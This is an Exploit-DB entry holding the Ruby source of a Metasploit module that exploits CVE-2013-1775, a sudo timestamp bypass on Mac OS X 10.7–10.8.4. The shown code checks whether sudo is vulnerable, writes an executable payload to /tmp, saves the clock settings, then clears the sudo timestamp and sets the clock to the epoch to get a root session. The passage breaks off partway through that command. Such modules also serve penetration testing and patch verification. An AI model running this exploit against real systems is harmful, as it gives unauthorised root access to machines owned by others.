Exploit-DB #27944
Description: Apple Mac OSX - Sudo Password Bypass (Metasploit)
Type: local
Platform: osx
Date: 2013-08-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
# http://metasploit.com/
##
require 'shellwords'

class Metasploit3 < Msf::Exploit::Local

  # ManualRanking because it's going to modify system time
  # Even when it will try to restore things, user should use
  # it at his own risk
  Rank = NormalRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
  SUDOER_GROUP = "admin"
  VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]

  # saved clock config
  attr_accessor :time, :date, :networked, :zone, :network_server

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Mac OS X Sudo Password Bypass',
      'Description'   => %q{
        This module gains a session with root permissions on versions of OS X with
        sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
        and possibly lower versions.

        If your session belongs to a user with Administrative Privileges
        (the user is in the sudoers file and is in the "admin group"), and the
        user has ever run the "sudo" command, it is possible to become the super
        user by running `sudo -k` and then resetting the system clock to 01-01-1970.

        This module will fail silently if the user is not an admin or if the user has never
        run the sudo command.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Todd C. Miller', # Vulnerability discovery
          'joev <jvennix[at]rapid7.com>', # Metasploit module
          'juan vazquez' # testing/fixing module bugs
        ],
      'References'    =>
        [
          [ 'CVE', '2013-1775' ],
          [ 'OSVDB', '90677' ],
          [ 'BID', '58203' ],
          [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X x86 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X86
          }
        ],
        [ 'Mac OS X x64 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X86_64
          }
        ],
        [ 'CMD',
          {
            'Platform' => 'unix',
            'Arch' => ARCH_CMD
          }
        ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 28 2013'
    ))
    register_advanced_options([
      OptString.new('TMP_FILE',
        [true,'For the native targets, specifies the path that '+
          'the executable will be dropped on the client machine.',
          '/tmp/.<random>/<random>']
      ),
    ], self.class)
  end

  # ensure target is vulnerable by checking sudo vn and checking
  # user is in admin group.
  def check
    if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
      sudo_vn = $1
      sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
      # check vn between 1.6.0 through 1.7.10p6
      # and 1.8.0 through 1.8.6p6
      if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
        print_error "sudo version #{sudo_vn} not vulnerable."
        return Exploit::CheckCode::Safe
      end
    else
      print_error "sudo not detected on the system."
      return Exploit::CheckCode::Safe
    end

    if not user_in_admin_group?
      print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
      Exploit::CheckCode::Safe
    end
    # one root for you sir
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if not user_in_admin_group?
      fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
    end
    # "remember" the current system time/date/network/zone
    print_good("User is an admin, continuing...")

    # drop the payload (unless CMD)
    if using_native_target?
      cmd_exec("mkdir -p #{File.dirname(drop_path)}")
      write_file(drop_path, generate_payload_exe)
      register_files_for_cleanup(drop_path)
      cmd_exec("chmod +x #{[drop_path].shelljoin}")
      print_status("Payload dropped and registered for cleanup")
    end

    print_status("Saving system clock config...")
    @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
    @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
    @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
    @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
    @network_server = if @networked
      cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
    end

    run_sudo_cmd
  end

  def cleanup
    print_status("Resetting system clock to original values") if @time
    cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
    cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
    cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?

    if @networked
      cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
      unless @network_server.nil?
        cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
      end
    end

    print_good("Completed clock reset.") if @time
  end

  private

  def run_sudo_cmd
    print_status("Resetting user's time stamp file and setting clock to the epoch")
    cmd_exec(
      "sudo -k; \n"+
      "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settim